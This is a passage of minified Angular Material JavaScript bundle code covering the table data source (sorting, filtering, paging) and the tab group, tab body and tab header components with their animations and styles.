function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["mat-row"],["tr","mat-row",""]],hostAttrs:["role","row",1,"mat-row"],exportAs:["matRow"],features:[n._Bn([{provide:R,useExisting:Ge}]),n.qOj],decls:1,vars:0,consts:[["cdkCellOutlet",""]],template:function(Me,O){1&Me&&n.GkF(0,0)},dependencies:[pe],encapsulation:2}),Ge})(),gn=(()=>{class Ge{}return Ge.\\u0275fac=function(Me){return new(Me||Ge)},Ge.\\u0275mod=n.oAB({type:Ge}),Ge.\\u0275inj=n.cJS({imports:[_t,kt.BQ,kt.BQ]}),Ge})();class P1 extends u.o2{constructor(vt=[]){super(),this._renderData=new g.X([]),this._filter=new g.X(""),this._internalPageChanges=new _.xQ,this._renderChangesSubscription=null,this.sortingDataAccessor=(Me,O)=>{const de=Me[O];if((0,s.t6)(de)){const h=Number(de);return h<9007199254740991?h:de}return de},this.sortData=(Me,O)=>{const de=O.active,h=O.direction;return de&&""!=h?Me.sort(($,ke)=>{let lt=this.sortingDataAccessor($,de),Wt=this.sortingDataAccessor(ke,de);const p1=typeof lt,w1=typeof Wt;p1!==w1&&("number"===p1&&(lt+=""),"number"===w1&&(Wt+=""));let Qt=0;return null!=lt&&null!=Wt?lt>Wt?Qt=1:lt<Wt&&(Qt=-1):null!=lt?Qt=1:null!=Wt&&(Qt=-1),Qt*("asc"==h?1:-1)}):Me},this.filterPredicate=(Me,O)=>{const de=Object.keys(Me).reduce(($,ke)=>$+Me[ke]+"\\u25ec","").toLowerCase(),h=O.trim().toLowerCase();return-1!=de.indexOf(h)},this._data=new g.X(vt),this._updateChangeSubscription()}get data(){return this._data.value}set data(vt){vt=Array.isArray(vt)?vt:[],this._data.next(vt),this._renderChangesSubscription||this._filterData(vt)}get filter(){return this._filter.value}set filter(vt){this._filter.next(vt),this._renderChangesSubscription||this._filterData(this.data)}get sort(){return this._sort}set sort(vt){this._sort=vt,this._updateChangeSubscription()}get paginator(){return this._paginator}set paginator(vt){this._paginator=vt,this._updateChangeSubscription()}_updateChangeSubscription(){const vt=this._sort?(0,Fe.T)(this._sort.sortChange,this._sort.initialized):(0,z.of)(null),Me=this._paginator?(0,Fe.T)(this._paginator.page,this._internalPageChanges,this._paginator.initialized):(0,z.of)(null),de=(0,be.aj)([this._data,this._filter]).pipe((0,Pe.U)(([ke])=>this._filterData(ke))),h=(0,be.aj)([de,vt]).pipe((0,Pe.U)(([ke])=>this._orderData(ke))),$=(0,be.aj)([h,Me]).pipe((0,Pe.U)(([ke])=>this._pageData(ke)));this._renderChangesSubscription?.unsubscribe(),this._renderChangesSubscription=$.subscribe(ke=>this._renderData.next(ke))}_filterData(vt){return this.filteredData=null==this.filter||""===this.filter?vt:vt.filter(Me=>this.filterPredicate(Me,this.filter)),this.paginator&&this._updatePaginator(this.filteredData.length),this.filteredData}_orderData(vt){return this.sort?this.sortData(vt.slice(),this.sort):vt}_pageData(vt){if(!this.paginator)return vt;const Me=this.paginator.pageIndex*this.paginator.pageSize;return vt.slice(Me,Me+this.paginator.pageSize)}_updatePaginator(vt){Promise.resolve().then(()=>{const Me=this.paginator;if(Me&&(Me.length=vt,Me.pageIndex>0)){const O=Math.ceil(Me.length/Me.pageSize)-1||0,de=Math.min(Me.pageIndex,O);de!==Me.pageIndex&&(Me.pageIndex=de,this._internalPageChanges.next())}})}connect(){return this._renderChangesSubscription||this._updateChangeSubscription(),this._renderData}disconnect(){this._renderChangesSubscription?.unsubscribe(),this._renderChangesSubscription=null}}class on extends P1{}},3848:(At,ae,d)=>{"use strict";d.d(ae,{Nh:()=>jt,SP:()=>Pe,uD:()=>Dt,uX:()=>te});var n=d(2687),a=d(9643),s=d(4080),u=d(6895),c=d(4650),f=d(3238),E=d(2986),_=d(1059),S=d(5778),g=d(7625),C=d(7545),z=d(1307),H=d(2198),j=d(8929),U=d(2654),G=d(3753),Q=d(1086),oe=d(6787),Ce=d(8896),k=d(6498),K=d(7739),se=d(445),ee=d(7340),q=d(1281),we=d(7261),ce=d(3353),je=d(9521);function Ze(pt,nt){1&pt&&c.Hsn(0)}const le=["*"];function Oe(pt,nt){}const Qe=function(pt){return{animationDuration:pt}},Ye=function(pt,nt){return{value:pt,params:nt}},qe=["tabListContainer"],Ke=["tabList"],dt=["tabListInner"],bt=["nextPaginator"],ze=["previousPaginator"],De=["tabBodyWrapper"],re=["tabHeader"];function ve(pt,nt){}function We(pt,nt){if(1&pt&&c.YNc(0,ve,0,0,"ng-template",10),2&pt){const fe=c.oxw().$implicit;c.Q6J("cdkPortalOutlet",fe.templateLabel)}}function xt(pt,nt){if(1&pt&&c._uU(0),2&pt){const fe=c.oxw().$implicit;c.Oqu(fe.textLabel)}}function Be(pt,nt){if(1&pt){const fe=c.EpF();c.TgZ(0,"div",6),c.NdJ("click",function(){const at=c.CHM(fe),Se=at.$implicit,ot=at.index,Ne=c.oxw(),ut=c.MAs(1);return c.KtG(Ne._handleClick(Se,ut,ot))})("cdkFocusChange",function(at){const ot=c.CHM(fe).index,Ne=c.oxw();return c.KtG(Ne._tabFocusChanged(at,ot))}),c.TgZ(1,"div",7),c.YNc(2,We,1,1,"ng-template",8),c.YNc(3,xt,1,1,"ng-template",null,9,c.W1O),c.qZA()()}if(2&pt){const fe=nt.$implicit,Ee=nt.index,at=c.MAs(4),Se=c.oxw();c.ekj("mat-tab-label-active",Se.selectedIndex===Ee),c.Q6J("id",Se._getTabLabelId(Ee))("ngClass",fe.labelClass)("disabled",fe.disabled)("matRippleDisabled",fe.disabled||Se.disableRipple),c.uIk("tabIndex",Se._getTabIndex(fe,Ee))("aria-posinset",Ee+1)("aria-setsize",Se._tabs.length)("aria-controls",Se._getTabContentId(Ee))("aria-selected",Se.selectedIndex===Ee)("aria-label",fe.ariaLabel||null)("aria-labelledby",!fe.ariaLabel&&fe.ariaLabelledby?fe.ariaLabelledby:null),c.xp6(2),c.Q6J("ngIf",fe.templateLabel)("ngIfElse",at)}}function pe(pt,nt){if(1&pt){const fe=c.EpF();c.TgZ(0,"mat-tab-body",11),c.NdJ("_onCentered",function(){c.CHM(fe);const at=c.oxw();return c.KtG(at._removeTabBodyWrapperHeight())})("_onCentering",function(at){c.CHM(fe);const Se=c.oxw();return c.KtG(Se._setTabBodyWrapperHeight(at))}),c.qZA()}if(2&pt){const fe=nt.$implicit,Ee=nt.index,at=c.oxw();c.ekj("mat-tab-body-active",at.selectedIndex===Ee),c.Q6J("id",at._getTabContentId(Ee))("ngClass",fe.bodyClass)("content",fe.content)("position",fe.position)("origin",fe.origin)("animationDuration",at.animationDuration)("preserveContent",at.preserveContent),c.uIk("tabindex",null!=at.contentTabIndex&&at.selectedIndex===Ee?at.contentTabIndex:null)("aria-labelledby",at._getTabLabelId(Ee))}}const w=new c.OlP("MatInkBarPositioner",{providedIn:"root",factory:function R(){return nt=>({left:nt?(nt.offsetLeft||0)+"px":"0",width:nt?(nt.offsetWidth||0)+"px":"0"})}});let X=(()=>{class pt{constructor(fe,Ee,at,Se){this._elementRef=fe,this._ngZone=Ee,this._inkBarPositioner=at,this._animationMode=Se}alignToElement(fe){this.show(),this._ngZone.run(()=>{this._ngZone.onStable.pipe((0,E.q)(1)).subscribe(()=>{const Ee=this._inkBarPositioner(fe),at=this._elementRef.nativeElement;at.style.left=Ee.left,at.style.width=Ee.width})})}show(){this._elementRef.nativeElement.style.visibility="visible"}hide(){this._elementRef.nativeElement.style.visibility="hidden"}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.R0b),c.Y36(w),c.Y36(c.QbO,8))},pt.\\u0275dir=c.lG2({type:pt,selectors:[["mat-ink-bar"]],hostAttrs:[1,"mat-ink-bar"],hostVars:2,hostBindings:function(fe,Ee){2&fe&&c.ekj("_mat-animation-noopable","NoopAnimations"===Ee._animationMode)}}),pt})();const _e=new c.OlP("MatTabContent"),Je=new c.OlP("MatTabLabel"),Et=new c.OlP("MAT_TAB");let Dt=(()=>{class pt extends s.ig{constructor(fe,Ee,at){super(fe,Ee),this._closestTab=at}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.Rgc),c.Y36(c.s_b),c.Y36(Et,8))},pt.\\u0275dir=c.lG2({type:pt,selectors:[["","mat-tab-label",""],["","matTabLabel",""]],features:[c._Bn([{provide:Je,useExisting:pt}]),c.qOj]}),pt})();const Pt=(0,f.Id)(class{}),Ie=new c.OlP("MAT_TAB_GROUP");let te=(()=>{class pt extends Pt{constructor(fe,Ee){super(),this._viewContainerRef=fe,this._closestTabGroup=Ee,this.textLabel="",this._contentPortal=null,this._stateChanges=new j.xQ,this.position=null,this.origin=null,this.isActive=!1}get templateLabel(){return this._templateLabel}set templateLabel(fe){this._setTemplateLabelInput(fe)}get content(){return this._contentPortal}ngOnChanges(fe){(fe.hasOwnProperty("textLabel")||fe.hasOwnProperty("disabled"))&&this._stateChanges.next()}ngOnDestroy(){this._stateChanges.complete()}ngOnInit(){this._contentPortal=new s.UE(this._explicitContent||this._implicitContent,this._viewContainerRef)}_setTemplateLabelInput(fe){fe&&fe._closestTab===this&&(this._templateLabel=fe)}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.s_b),c.Y36(Ie,8))},pt.\\u0275cmp=c.Xpm({type:pt,selectors:[["mat-tab"]],contentQueries:function(fe,Ee,at){if(1&fe&&(c.Suo(at,Je,5),c.Suo(at,_e,7,c.Rgc)),2&fe){let Se;c.iGM(Se=c.CRH())&&(Ee.templateLabel=Se.first),c.iGM(Se=c.CRH())&&(Ee._explicitContent=Se.first)}},viewQuery:function(fe,Ee){if(1&fe&&c.Gf(c.Rgc,7),2&fe){let at;c.iGM(at=c.CRH())&&(Ee._implicitContent=at.first)}},inputs:{disabled:"disabled",textLabel:["label","textLabel"],ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],labelClass:"labelClass",bodyClass:"bodyClass"},exportAs:["matTab"],features:[c._Bn([{provide:Et,useExisting:pt}]),c.qOj,c.TTD],ngContentSelectors:le,decls:1,vars:0,template:function(fe,Ee){1&fe&&(c.F$t(),c.YNc(0,Ze,1,0,"ng-template"))},encapsulation:2}),pt})();const x={translateTab:(0,ee.X$)("translateTab",[(0,ee.SB)("center, void, left-origin-center, right-origin-center",(0,ee.oB)({transform:"none"})),(0,ee.SB)("left",(0,ee.oB)({transform:"translate3d(-100%, 0, 0)",minHeight:"1px",visibility:"hidden"})),(0,ee.SB)("right",(0,ee.oB)({transform:"translate3d(100%, 0, 0)",minHeight:"1px",visibility:"hidden"})),(0,ee.eR)("* => left, * => right, left => center, right => center",(0,ee.jt)("{{animationDuration}} cubic-bezier(0.35, 0, 0.25, 1)")),(0,ee.eR)("void => left-origin-center",[(0,ee.oB)({transform:"translate3d(-100%, 0, 0)",visibility:"hidden"}),(0,ee.jt)("{{animationDuration}} cubic-bezier(0.35, 0, 0.25, 1)")]),(0,ee.eR)("void => right-origin-center",[(0,ee.oB)({transform:"translate3d(100%, 0, 0)",visibility:"hidden"}),(0,ee.jt)("{{animationDuration}} cubic-bezier(0.35, 0, 0.25, 1)")])])};let m=(()=>{class pt extends s.Pl{constructor(fe,Ee,at,Se){super(fe,Ee,Se),this._host=at,this._centeringSub=U.w.EMPTY,this._leavingSub=U.w.EMPTY}ngOnInit(){super.ngOnInit(),this._centeringSub=this._host._beforeCentering.pipe((0,_.O)(this._host._isCenterPosition(this._host._position))).subscribe(fe=>{fe&&!this.hasAttached()&&this.attach(this._host._content)}),this._leavingSub=this._host._afterLeavingCenter.subscribe(()=>{this._host.preserveContent||this.detach()})}ngOnDestroy(){super.ngOnDestroy(),this._centeringSub.unsubscribe(),this._leavingSub.unsubscribe()}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c._Vd),c.Y36(c.s_b),c.Y36((0,c.Gpc)(()=>B)),c.Y36(u.K0))},pt.\\u0275dir=c.lG2({type:pt,selectors:[["","matTabBodyHost",""]],features:[c.qOj]}),pt})(),b=(()=>{class pt{constructor(fe,Ee,at){this._elementRef=fe,this._dir=Ee,this._dirChangeSubscription=U.w.EMPTY,this._translateTabComplete=new j.xQ,this._onCentering=new c.vpe,this._beforeCentering=new c.vpe,this._afterLeavingCenter=new c.vpe,this._onCentered=new c.vpe(!0),this.animationDuration="500ms",this.preserveContent=!1,Ee&&(this._dirChangeSubscription=Ee.change.subscribe(Se=>{this._computePositionAnimationState(Se),at.markForCheck()})),this._translateTabComplete.pipe((0,S.x)((Se,ot)=>Se.fromState===ot.fromState&&Se.toState===ot.toState)).subscribe(Se=>{this._isCenterPosition(Se.toState)&&this._isCenterPosition(this._position)&&this._onCentered.emit(),this._isCenterPosition(Se.fromState)&&!this._isCenterPosition(this._position)&&this._afterLeavingCenter.emit()})}set position(fe){this._positionIndex=fe,this._computePositionAnimationState()}ngOnInit(){"center"==this._position&&null!=this.origin&&(this._position=this._computePositionFromOrigin(this.origin))}ngOnDestroy(){this._dirChangeSubscription.unsubscribe(),this._translateTabComplete.complete()}_onTranslateTabStarted(fe){const Ee=this._isCenterPosition(fe.toState);this._beforeCentering.emit(Ee),Ee&&this._onCentering.emit(this._elementRef.nativeElement.clientHeight)}_getLayoutDirection(){return this._dir&&"rtl"===this._dir.value?"rtl":"ltr"}_isCenterPosition(fe){return"center"==fe||"left-origin-center"==fe||"right-origin-center"==fe}_computePositionAnimationState(fe=this._getLayoutDirection()){this._position=this._positionIndex<0?"ltr"==fe?"left":"right":this._positionIndex>0?"ltr"==fe?"right":"left":"center"}_computePositionFromOrigin(fe){const Ee=this._getLayoutDirection();return"ltr"==Ee&&fe<=0||"rtl"==Ee&&fe>0?"left-origin-center":"right-origin-center"}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(se.Is,8),c.Y36(c.sBO))},pt.\\u0275dir=c.lG2({type:pt,inputs:{_content:["content","_content"],origin:"origin",animationDuration:"animationDuration",preserveContent:"preserveContent",position:"position"},outputs:{_onCentering:"_onCentering",_beforeCentering:"_beforeCentering",_afterLeavingCenter:"_afterLeavingCenter",_onCentered:"_onCentered"}}),pt})(),B=(()=>{class pt extends b{constructor(fe,Ee,at){super(fe,Ee,at)}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(se.Is,8),c.Y36(c.sBO))},pt.\\u0275cmp=c.Xpm({type:pt,selectors:[["mat-tab-body"]],viewQuery:function(fe,Ee){if(1&fe&&c.Gf(s.Pl,5),2&fe){let at;c.iGM(at=c.CRH())&&(Ee._portalHost=at.first)}},hostAttrs:[1,"mat-tab-body"],features:[c.qOj],decls:3,vars:6,consts:[["cdkScrollable","",1,"mat-tab-body-content"],["content",""],["matTabBodyHost",""]],template:function(fe,Ee){1&fe&&(c.TgZ(0,"div",0,1),c.NdJ("@translateTab.start",function(Se){return Ee._onTranslateTabStarted(Se)})("@translateTab.done",function(Se){return Ee._translateTabComplete.next(Se)}),c.YNc(2,Oe,0,0,"ng-template",2),c.qZA()),2&fe&&c.Q6J("@translateTab",c.WLB(3,Ye,Ee._position,c.VKq(1,Qe,Ee.animationDuration)))},dependencies:[m],styles:[\'.mat-tab-body-content{height:100%;overflow:auto}.mat-tab-group-dynamic-height .mat-tab-body-content{overflow:hidden}.mat-tab-body-content[style*="visibility: hidden"]{display:none}\'],encapsulation:2,data:{animation:[x.translateTab]}}),pt})();const ie=new c.OlP("MAT_TABS_CONFIG"),Xe=(0,f.Id)(class{});let it=(()=>{class pt extends Xe{constructor(fe){super(),this.elementRef=fe}focus(){this.elementRef.nativeElement.focus()}getOffsetLeft(){return this.elementRef.nativeElement.offsetLeft}getOffsetWidth(){return this.elementRef.nativeElement.offsetWidth}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq))},pt.\\u0275dir=c.lG2({type:pt,selectors:[["","matTabLabelWrapper",""]],hostVars:3,hostBindings:function(fe,Ee){2&fe&&(c.uIk("aria-disabled",!!Ee.disabled),c.ekj("mat-tab-disabled",Ee.disabled))},inputs:{disabled:"disabled"},features:[c.qOj]}),pt})();const wt=(0,ce.i$)({passive:!0});let u1=(()=>{class pt{constructor(fe,Ee,at,Se,ot,Ne,ut){this._elementRef=fe,this._changeDetectorRef=Ee,this._viewportRuler=at,this._dir=Se,this._ngZone=ot,this._platform=Ne,this._animationMode=ut,this._scrollDistance=0,this._selectedIndexChanged=!1,this._destroyed=new j.xQ,this._showPaginationControls=!1,this._disableScrollAfter=!0,this._disableScrollBefore=!0,this._stopScrolling=new j.xQ,this._disablePagination=!1,this._selectedIndex=0,this.selectFocusedIndex=new c.vpe,this.indexFocused=new c.vpe,ot.runOutsideAngular(()=>{(0,G.R)(fe.nativeElement,"mouseleave").pipe((0,g.R)(this._destroyed)).subscribe(()=>{this._stopInterval()})})}get disablePagination(){return this._disablePagination}set disablePagination(fe){this._disablePagination=(0,q.Ig)(fe)}get selectedIndex(){return this._selectedIndex}set selectedIndex(fe){fe=(0,q.su)(fe),this._selectedIndex!=fe&&(this._selectedIndexChanged=!0,this._selectedIndex=fe,this._keyManager&&this._keyManager.updateActiveItem(fe))}ngAfterViewInit(){(0,G.R)(this._previousPaginator.nativeElement,"touchstart",wt).pipe((0,g.R)(this._destroyed)).subscribe(()=>{this._handlePaginatorPress("before")}),(0,G.R)(this._nextPaginator.nativeElement,"touchstart",wt).pipe((0,g.R)(this._destroyed)).subscribe(()=>{this._handlePaginatorPress("after")})}ngAfterContentInit(){const fe=this._dir?this._dir.change:(0,Q.of)("ltr"),Ee=this._viewportRuler.change(150),at=()=>{this.updatePagination(),this._alignInkBarToSelectedTab()};this._keyManager=new n.Em(this._items).withHorizontalOrientation(this._getLayoutDirection()).withHomeAndEnd().withWrap(),this._keyManager.updateActiveItem(this._selectedIndex),this._ngZone.onStable.pipe((0,E.q)(1)).subscribe(at),(0,oe.T)(fe,Ee,this._items.changes,this._itemsResized()).pipe((0,g.R)(this._destroyed)).subscribe(()=>{this._ngZone.run(()=>{Promise.resolve().then(()=>{this._scrollDistance=Math.max(0,Math.min(this._getMaxScrollDistance(),this._scrollDistance)),at()})}),this._keyManager.withHorizontalOrientation(this._getLayoutDirection())}),this._keyManager.change.pipe((0,g.R)(this._destroyed)).subscribe(Se=>{this.indexFocused.emit(Se),this._setTabFocus(Se)})}_itemsResized(){return"function"!=typeof ResizeObserver?Ce.E:this._items.changes.pipe((0,_.O)(this._items),(0,C.w)(fe=>new k.y(Ee=>this._ngZone.runOutsideAngular(()=>{const at=new ResizeObserver(Se=>Ee.next(Se));return fe.forEach(Se=>at.observe(Se.elementRef.nativeElement)),()=>{at.disconnect()}}))),(0,z.T)(1),(0,H.h)(fe=>fe.some(Ee=>Ee.contentRect.width>0&&Ee.contentRect.height>0)))}ngAfterContentChecked(){this._tabLabelCount!=this._items.length&&(this.updatePagination(),this._tabLabelCount=this._items.length,this._changeDetectorRef.markForCheck()),this._selectedIndexChanged&&(this._scrollToLabel(this._selectedIndex),this._checkScrollingControls(),this._alignInkBarToSelectedTab(),this._selectedIndexChanged=!1,this._changeDetectorRef.markForCheck()),this._scrollDistanceChanged&&(this._updateTabScrollPosition(),this._scrollDistanceChanged=!1,this._changeDetectorRef.markForCheck())}ngOnDestroy(){this._destroyed.next(),this._destroyed.complete(),this._stopScrolling.complete()}_handleKeydown(fe){if(!(0,je.Vb)(fe))switch(fe.keyCode){case je.K5:case je.L_:this.focusIndex!==this.selectedIndex&&(this.selectFocusedIndex.emit(this.focusIndex),this._itemSelected(fe));break;default:this._keyManager.onKeydown(fe)}}_onContentChanges(){const fe=this._elementRef.nativeElement.textContent;fe!==this._currentTextContent&&(this._currentTextContent=fe||"",this._ngZone.run(()=>{this.updatePagination(),this._alignInkBarToSelectedTab(),this._changeDetectorRef.markForCheck()}))}updatePagination(){this._checkPaginationEnabled(),this._checkScrollingControls(),this._updateTabScrollPosition()}get focusIndex(){return this._keyManager?this._keyManager.activeItemIndex:0}set focusIndex(fe){!this._isValidIndex(fe)||this.focusIndex===fe||!this._keyManager||this._keyManager.setActiveItem(fe)}_isValidIndex(fe){if(!this._items)return!0;const Ee=this._items?this._items.toArray()[fe]:null;return!!Ee&&!Ee.disabled}_setTabFocus(fe){if(this._showPaginationControls&&this._scrollToLabel(fe),this._items&&this._items.length){this._items.toArray()[fe].focus();const Ee=this._tabListContainer.nativeElement;Ee.scrollLeft="ltr"==this._getLayoutDirection()?0:Ee.scrollWidth-Ee.offsetWidth}}_getLayoutDirection(){return this._dir&&"rtl"===this._dir.value?"rtl":"ltr"}_updateTabScrollPosition(){if(this.disablePagination)return;const fe=this.scrollDistance,Ee="ltr"===this._getLayoutDirection()?-fe:fe;this._tabList.nativeElement.style.transform=`translateX(${Math.round(Ee)}px)`,(this._platform.TRIDENT||this._platform.EDGE)&&(this._tabListContainer.nativeElement.scrollLeft=0)}get scrollDistance(){return this._scrollDistance}set scrollDistance(fe){this._scrollTo(fe)}_scrollHeader(fe){return this._scrollTo(this._scrollDistance+("before"==fe?-1:1)*this._tabListContainer.nativeElement.offsetWidth/3)}_handlePaginatorClick(fe){this._stopInterval(),this._scrollHeader(fe)}_scrollToLabel(fe){if(this.disablePagination)return;const Ee=this._items?this._items.toArray()[fe]:null;if(!Ee)return;const at=this._tabListContainer.nativeElement.offsetWidth,{offsetLeft:Se,offsetWidth:ot}=Ee.elementRef.nativeElement;let Ne,ut;"ltr"==this._getLayoutDirection()?(Ne=Se,ut=Ne+ot):(ut=this._tabListInner.nativeElement.offsetWidth-Se,Ne=ut-ot);const Rt=this.scrollDistance,Zt=this.scrollDistance+at;Ne<Rt?this.scrollDistance-=Rt-Ne+60:ut>Zt&&(this.scrollDistance+=ut-Zt+60)}_checkPaginationEnabled(){if(this.disablePagination)this._showPaginationControls=!1;else{const fe=this._tabListInner.nativeElement.scrollWidth>this._elementRef.nativeElement.offsetWidth;fe||(this.scrollDistance=0),fe!==this._showPaginationControls&&this._changeDetectorRef.markForCheck(),this._showPaginationControls=fe}}_checkScrollingControls(){this.disablePagination?this._disableScrollAfter=this._disableScrollBefore=!0:(this._disableScrollBefore=0==this.scrollDistance,this._disableScrollAfter=this.scrollDistance==this._getMaxScrollDistance(),this._changeDetectorRef.markForCheck())}_getMaxScrollDistance(){return this._tabListInner.nativeElement.scrollWidth-this._tabListContainer.nativeElement.offsetWidth||0}_alignInkBarToSelectedTab(){const fe=this._items&&this._items.length?this._items.toArray()[this.selectedIndex]:null,Ee=fe?fe.elementRef.nativeElement:null;Ee?this._inkBar.alignToElement(Ee):this._inkBar.hide()}_stopInterval(){this._stopScrolling.next()}_handlePaginatorPress(fe,Ee){Ee&&null!=Ee.button&&0!==Ee.button||(this._stopInterval(),(0,K.H)(650,100).pipe((0,g.R)((0,oe.T)(this._stopScrolling,this._destroyed))).subscribe(()=>{const{maxScrollDistance:at,distance:Se}=this._scrollHeader(fe);(0===Se||Se>=at)&&this._stopInterval()}))}_scrollTo(fe){if(this.disablePagination)return{maxScrollDistance:0,distance:0};const Ee=this._getMaxScrollDistance();return this._scrollDistance=Math.max(0,Math.min(Ee,fe)),this._scrollDistanceChanged=!0,this._checkScrollingControls(),{maxScrollDistance:Ee,distance:this._scrollDistance}}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(we.rL),c.Y36(se.Is,8),c.Y36(c.R0b),c.Y36(ce.t4),c.Y36(c.QbO,8))},pt.\\u0275dir=c.lG2({type:pt,inputs:{disablePagination:"disablePagination"}}),pt})(),c1=(()=>{class pt extends u1{constructor(fe,Ee,at,Se,ot,Ne,ut){super(fe,Ee,at,Se,ot,Ne,ut),this._disableRipple=!1}get disableRipple(){return this._disableRipple}set disableRipple(fe){this._disableRipple=(0,q.Ig)(fe)}_itemSelected(fe){fe.preventDefault()}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(we.rL),c.Y36(se.Is,8),c.Y36(c.R0b),c.Y36(ce.t4),c.Y36(c.QbO,8))},pt.\\u0275dir=c.lG2({type:pt,inputs:{disableRipple:"disableRipple"},features:[c.qOj]}),pt})(),It=(()=>{class pt extends c1{constructor(fe,Ee,at,Se,ot,Ne,ut){super(fe,Ee,at,Se,ot,Ne,ut)}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(we.rL),c.Y36(se.Is,8),c.Y36(c.R0b),c.Y36(ce.t4),c.Y36(c.QbO,8))},pt.\\u0275cmp=c.Xpm({type:pt,selectors:[["mat-tab-header"]],contentQueries:function(fe,Ee,at){if(1&fe&&c.Suo(at,it,4),2&fe){let Se;c.iGM(Se=c.CRH())&&(Ee._items=Se)}},viewQuery:function(fe,Ee){if(1&fe&&(c.Gf(X,7),c.Gf(qe,7),c.Gf(Ke,7),c.Gf(dt,7),c.Gf(bt,5),c.Gf(ze,5)),2&fe){let at;c.iGM(at=c.CRH())&&(Ee._inkBar=at.first),c.iGM(at=c.CRH())&&(Ee._tabListContainer=at.first),c.iGM(at=c.CRH())&&(Ee._tabList=at.first),c.iGM(at=c.CRH())&&(Ee._tabListInner=at.first),c.iGM(at=c.CRH())&&(Ee._nextPaginator=at.first),c.iGM(at=c.CRH())&&(Ee._previousPaginator=at.first)}},hostAttrs:[1,"mat-tab-header"],hostVars:4,hostBindings:function(fe,Ee){2&fe&&c.ekj("mat-tab-header-pagination-controls-enabled",Ee._showPaginationControls)("mat-tab-header-rtl","rtl"==Ee._getLayoutDirection())},inputs:{selectedIndex:"selectedIndex"},outputs:{selectFocusedIndex:"selectFocusedIndex",indexFocused:"indexFocused"},features:[c.qOj],ngContentSelectors:le,decls:14,vars:10,consts:[["aria-hidden","true","type","button","mat-ripple","","tabindex","-1",1,"mat-tab-header-pagination","mat-tab-header-pagination-before","mat-elevation-z4",3,"matRippleDisabled","disabled","click","mousedown","touchend"],["previousPaginator",""],[1,"mat-tab-header-pagination-chevron"],[1,"mat-tab-label-container",3,"keydown"],["tabListContainer",""],["role","tablist",1,"mat-tab-list",3,"cdkObserveContent"],["tabList",""],[1,"mat-tab-labels"],["tabListInner",""],["aria-hidden","true","type","button","mat-ripple","","tabindex","-1",1,"mat-tab-header-pagination","mat-tab-header-pagination-after","mat-elevation-z4",3,"matRippleDisabled","disabled","mousedown","click","touchend"],["nextPaginator",""]],template:function(fe,Ee){1&fe&&(c.F$t(),c.TgZ(0,"button",0,1),c.NdJ("click",function(){return Ee._handlePaginatorClick("before")})("mousedown",function(Se){return Ee._handlePaginatorPress("before",Se)})("touchend",function(){return Ee._stopInterval()}),c._UZ(2,"div",2),c.qZA(),c.TgZ(3,"div",3,4),c.NdJ("keydown",function(Se){return Ee._handleKeydown(Se)}),c.TgZ(5,"div",5,6),c.NdJ("cdkObserveContent",function(){return Ee._onContentChanges()}),c.TgZ(7,"div",7,8),c.Hsn(9),c.qZA(),c._UZ(10,"mat-ink-bar"),c.qZA()(),c.TgZ(11,"button",9,10),c.NdJ("mousedown",function(Se){return Ee._handlePaginatorPress("after",Se)})("click",function(){return Ee._handlePaginatorClick("after")})("touchend",function(){return Ee._stopInterval()}),c._UZ(13,"div",2),c.qZA()),2&fe&&(c.ekj("mat-tab-header-pagination-disabled",Ee._disableScrollBefore),c.Q6J("matRippleDisabled",Ee._disableScrollBefore||Ee.disableRipple)("disabled",Ee._disableScrollBefore||null),c.xp6(5),c.ekj("_mat-animation-noopable","NoopAnimations"===Ee._animationMode),c.xp6(6),c.ekj("mat-tab-header-pagination-disabled",Ee._disableScrollAfter),c.Q6J("matRippleDisabled",Ee._disableScrollAfter||Ee.disableRipple)("disabled",Ee._disableScrollAfter||null))},dependencies:[f.wG,a.wD,X],styles:[".mat-tab-header{display:flex;overflow:hidden;position:relative;flex-shrink:0}.mat-tab-header-pagination{-webkit-user-select:none;user-select:none;position:relative;display:none;justify-content:center;align-items:center;min-width:32px;cursor:pointer;z-index:2;-webkit-tap-highlight-color:rgba(0,0,0,0);touch-action:none;box-sizing:content-box;background:none;border:none;outline:0;padding:0}.mat-tab-header-pagination::-moz-focus-inner{border:0}.mat-tab-header-pagination-controls-enabled .mat-tab-header-pagination{display:flex}.mat-tab-header-pagination-before,.mat-tab-header-rtl .mat-tab-header-pagination-after{padding-left:4px}.mat-tab-header-pagination-before .mat-tab-header-pagination-chevron,.mat-tab-header-rtl .mat-tab-header-pagination-after .mat-tab-header-pagination-chevron{transform:rotate(-135deg)}.mat-tab-header-rtl .mat-tab-header-pagination-before,.mat-tab-header-pagination-after{padding-right:4px}.mat-tab-header-rtl .mat-tab-header-pagination-before .mat-tab-header-pagination-chevron,.mat-tab-header-pagination-after .mat-tab-header-pagination-chevron{transform:rotate(45deg)}.mat-tab-header-pagination-chevron{border-style:solid;border-width:2px 2px 0 0;height:8px;width:8px}.mat-tab-header-pagination-disabled{box-shadow:none;cursor:default}.mat-tab-list{flex-grow:1;position:relative;transition:transform 500ms cubic-bezier(0.35, 0, 0.25, 1)}.mat-ink-bar{position:absolute;bottom:0;height:2px;transition:500ms cubic-bezier(0.35, 0, 0.25, 1)}.mat-ink-bar._mat-animation-noopable{transition:none !important;animation:none !important}.mat-tab-group-inverted-header .mat-ink-bar{bottom:auto;top:0}.cdk-high-contrast-active .mat-ink-bar{outline:solid 2px;height:0}.mat-tab-labels{display:flex}[mat-align-tabs=center]>.mat-tab-header .mat-tab-labels{justify-content:center}[mat-align-tabs=end]>.mat-tab-header 